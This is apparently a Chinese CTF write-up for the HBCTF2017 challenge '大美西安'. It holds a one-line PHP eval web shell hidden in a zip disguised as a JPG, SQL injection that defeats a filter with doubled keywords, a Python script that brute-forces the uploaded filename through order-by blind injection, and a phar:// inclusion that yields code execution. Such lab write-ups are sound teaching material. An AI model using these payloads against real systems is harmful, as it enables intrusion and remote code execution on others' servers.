[HBCTF2017]大美西安

[HBCTF2017]大美西安

解题步骤

看到了url上的file,直接尝试一波php伪协议进行文件读取,md,被禁了。注册一个号玩玩。文件上传加file,盲猜phar。还有一个download,估计有文件读取。先读源码要紧,抓个下载包看看。


这个id绝壁有问题,尝试一波sql注入。姿势不对,没辙了。看了波wp:https://guokeya.github.io/post/0OsnFmmwE/
md,直接双写绕过,然后把所有源码读一波,需要将文件名hex一下:

看一波upload.php

$fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
        $fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
        $userid = $_SESSION['userid'];
        $sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
        $res = $conn ->query($sql);

可以看到会将我们上传的文件随机取名存储。在index.php确实看到了include,然后在downloadfile.php看到了sql注入点

$sql = "select location from download where (uid=0 and id='$imageid') or uid=".$_SESSION['userid']." and id=$imageid";

但是config.php有很多过滤。
我们先写个shell,1.php:<?php eval($_POST['asd'])?>然后打包成zip,改后缀为.jpg,直接上传。现在就是先办法弄出文件名。
然后用到下面这个的order by注入,有点东西。
https://xz.aliyun.com/t/7169#toc-36
本地试了一波order by:


可以看到,当我们输入的字母ascii大于正确值,就会输出正确值。所以当请求能正常回显时,就能知道文件名是啥了。贴一个脚本:

from time import sleep

import requests
url='http://24c49250-6fd1-404b-8b35-3d835945e352.node4.buuoj.cn:81/downfile.php'
cookie={"Cookie":"PHPSESSID=p37ucd163ap0169uv7omke5bh4"}
name='0x2e2f557031306144732f'
temp = ''
#已知的./Up10aDs/
for a in range(200):
    for i in range(30,130):
        # print(i)
        if i == 46 or i == 47:
            continue
        data={"image":"2 ununionion selselectect "+name+hex(i)[2:]+" oorrder by 1",
              "image_download":"%E6%94%B6%E8%97%8F"}
        result=requests.post(url=url,data=data,headers=cookie)
        if result.status_code != 200:
            sleep(1)
            result = requests.post(url=url, data=data, headers=cookie)
        #print (result)
        if 'eval' in result.text:
            name+=hex(i-1)[2:]
            temp += chr(i-1)
            print(temp.lower())
            break

首先要找到自己上传文件的id(我的为2),然后当order by能正常回显的时候就能找到文件名中的字母了。找到文件名之后,直接phar
http://24c49250-6fd1-404b-8b35-3d835945e352.node4.buuoj.cn:81/index.php?file=phar://Up10aDs/drfiz4iudklgrwhit87r93s9lylzdyox.jpg/1
由于是1.php打包,所以后面跟个,index.php自动加.php后缀。然后直接rce。但是不懂为啥system用不了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇